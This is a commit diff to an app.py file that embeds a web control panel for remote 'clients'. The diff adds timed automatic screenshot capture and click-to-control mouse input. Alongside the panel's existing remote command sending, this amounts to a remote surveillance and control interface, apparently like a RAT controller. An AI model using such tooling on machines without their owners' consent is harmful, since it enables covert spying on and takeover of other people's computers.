profile114 commited on
Commit
fccc128
·
verified ·
1 Parent(s): 23487f7

Upload 5 files

Browse files
Files changed (1) hide show
  1. app.py +62 -2
app.py CHANGED
@@ -143,7 +143,13 @@ HTML_CONTENT = '''<!DOCTYPE html>
143
  <div class="output" id="commandOutput">等待命令...</div>
144
  </div>
145
  <div class="tab-content" id="tab-screenshot" style="display:none;">
146
- <button class="btn" onclick="requestScreenshot()">获取截图</button>
 
 
 
 
 
 
147
  <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
148
  </div>
149
  <div class="tab-content" id="tab-control" style="display:none;">
@@ -243,6 +249,8 @@ HTML_CONTENT = '''<!DOCTYPE html>
243
  document.getElementById('commandInput').value = '';
244
  }
245
 
 
 
246
  async function requestScreenshot() {
247
  if (!selectedClient) return;
248
  document.getElementById('screenshotView').innerHTML = '<p style="color:#888;">获取中...</p>';
@@ -256,7 +264,59 @@ HTML_CONTENT = '''<!DOCTYPE html>
256
  async function loadScreenshot() {
257
  if (!selectedClient) return;
258
  const t = Date.now();
259
- document.getElementById('screenshotView').innerHTML = `<img src="/api/screenshots/${selectedClient.id}?t=${t}">`;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
260
  }
261
 
262
  async function sendMouseClick(button) {
 
143
  <div class="output" id="commandOutput">等待命令...</div>
144
  </div>
145
  <div class="tab-content" id="tab-screenshot" style="display:none;">
146
+ <div class="command-input">
147
+ <button class="btn" onclick="requestScreenshot()">获取截图</button>
148
+ <input type="number" id="screenInterval" value="3" min="1" max="60" style="width:60px;padding:10px;border-radius:5px;border:1px solid #0f3460;background:#1a1a2e;color:#eee;">
149
+ <span style="color:#888;">秒</span>
150
+ <button class="btn btn-success" id="btnAutoScreen" onclick="toggleAutoScreenshot()">自动连续</button>
151
+ <button class="btn btn-danger" id="btnStopScreen" onclick="stopAutoScreenshot()" style="display:none;">停止</button>
152
+ </div>
153
  <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
154
  </div>
155
  <div class="tab-content" id="tab-control" style="display:none;">
 
249
  document.getElementById('commandInput').value = '';
250
  }
251
 
252
+ let screenshotInterval = null;
253
+
254
  async function requestScreenshot() {
255
  if (!selectedClient) return;
256
  document.getElementById('screenshotView').innerHTML = '<p style="color:#888;">获取中...</p>';
 
264
  async function loadScreenshot() {
265
  if (!selectedClient) return;
266
  const t = Date.now();
267
+ const img = `<img id="screenshotImg" src="/api/screenshots/${selectedClient.id}?t=${t}" style="cursor:crosshair;max-width:100%;">`;
268
+ document.getElementById('screenshotView').innerHTML = img;
269
+
270
+ document.getElementById('screenshotImg').onclick = function(e) {
271
+ const rect = this.getBoundingClientRect();
272
+ const x = Math.round((e.clientX - rect.left) * (this.naturalWidth / rect.width));
273
+ const y = Math.round((e.clientY - rect.top) * (this.naturalHeight / rect.height));
274
+ sendMouseClickAt(x, y);
275
+ };
276
+ }
277
+
278
+ async function sendMouseClickAt(x, y) {
279
+ if (!selectedClient) return;
280
+ await fetch('/api/command', {
281
+ method: 'POST', headers: {'Content-Type': 'application/json'},
282
+ body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: 'left', x: x, y: y})})
283
+ });
284
+ document.getElementById('commandOutput').textContent = `鼠标点击: (${x}, ${y})`;
285
+ }
286
+
287
+ function startAutoScreenshot() {
288
+ if (screenshotInterval) return;
289
+ const interval = (parseInt(document.getElementById('screenInterval').value) || 3) * 1000;
290
+ screenshotInterval = setInterval(async () => {
291
+ if (!selectedClient) {
292
+ stopAutoScreenshot();
293
+ return;
294
+ }
295
+ await fetch('/api/command', {
296
+ method: 'POST', headers: {'Content-Type': 'application/json'},
297
+ body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
298
+ });
299
+ setTimeout(loadScreenshot, 1000);
300
+ }, interval);
301
+ }
302
+
303
+ function stopAutoScreenshot() {
304
+ if (screenshotInterval) {
305
+ clearInterval(screenshotInterval);
306
+ screenshotInterval = null;
307
+ }
308
+ document.getElementById('btnAutoScreen').style.display = 'inline-block';
309
+ document.getElementById('btnStopScreen').style.display = 'none';
310
+ }
311
+
312
+ function toggleAutoScreenshot() {
313
+ if (screenshotInterval) {
314
+ stopAutoScreenshot();
315
+ } else {
316
+ startAutoScreenshot();
317
+ document.getElementById('btnAutoScreen').style.display = 'none';
318
+ document.getElementById('btnStopScreen').style.display = 'inline-block';
319
+ }
320
  }
321
 
322
  async function sendMouseClick(button) {